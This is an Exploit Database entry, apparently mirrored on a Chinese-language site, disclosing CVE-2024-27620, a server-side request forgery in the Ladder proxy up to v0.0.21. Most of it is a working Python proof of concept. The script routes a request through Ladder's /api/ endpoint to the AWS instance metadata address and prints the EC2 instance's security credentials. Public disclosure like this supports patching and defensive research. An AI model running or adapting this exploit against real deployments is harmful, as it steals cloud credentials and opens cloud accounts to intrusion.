Ladder v0.0.21 – Server-side request forgery (SSRF)

• Exploit Database
• 127 阅读

• 作者： @_chebuya
  日期： 2024-03-10
• 类别：

  • webapps
  平台：

  • go
• 来源：https://www.exploit-db.com/exploits/51869/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

  # Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF) # Date: 2024-01-20 # Exploit Author: @_chebuya # Software Link: https://github.com/everywall/ladder # Version: v0.0.1 - v0.0.21 # Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0) # CVE: CVE-2024-27620 # Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context.An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs   import requests import json   target_url = "http://127.0.0.1:8080/api/" imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"   r = requests.get(target_url + imdsv1_url) response_json = json.loads(r.text) print(response_json["body"])